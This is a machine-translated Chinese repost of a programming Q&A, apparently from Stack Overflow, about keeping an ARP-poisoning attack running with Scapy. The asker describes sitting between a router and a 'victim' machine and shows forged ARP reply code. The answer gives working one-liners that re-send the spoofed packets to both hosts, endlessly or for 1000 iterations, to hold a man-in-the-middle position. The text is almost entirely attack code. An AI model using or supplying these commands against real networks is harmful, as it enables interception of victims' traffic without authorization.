[英]Python-2.7 Scapy retransmit packet to destination
在进行arp中毒时,我处于1-路由器和2-受害者计算机连接的中间。 如何将数据包重新发送到目的地? (最好是scapy)我有这个:
send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))
查看Scapy的API文档建议了以下替代方法:
send
函数接受另外两个可能证明有用的参数:
loop
:如果不为0,则无限发送报文。
inter
:2个数据包之间等待的时间(以秒为单位)。
因此,执行以下语句将以无限循环发送数据包:
send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip), ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)], inter=1, loop=1)
sr
函数接受3个可能证明有用的参数:
retry
:如果为正数,则重发无应答数据包的次数。 如果为负,则放弃前有多少连续的未回答的探查。 只有负值才真正有用。
timeout
:发送最后一个数据包后要等待多少时间。 默认情况下,sr
将永远等待,当用户期望不再有答案时,它将不得不中断( Ctrl-C )。
inter
:每个发送的数据包之间等待的时间(以秒为单位)。
由于预期不会收到针对已发送的ARP数据包的任何答案,因此,将这些参数指定为所需的值可实现在有限循环中发送数据包,这与之前的选择相反(后者迫使无休止的循环)。
不利的一面是,由于资源被分配用于数据包的接收和处理,因此效率可能会降低一点,但这可以忽略不计。
因此,执行以下语句将在1000次迭代的有限循环中发送数据包:
sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip), ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)], retry=999, inter=1, timeout=1)
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.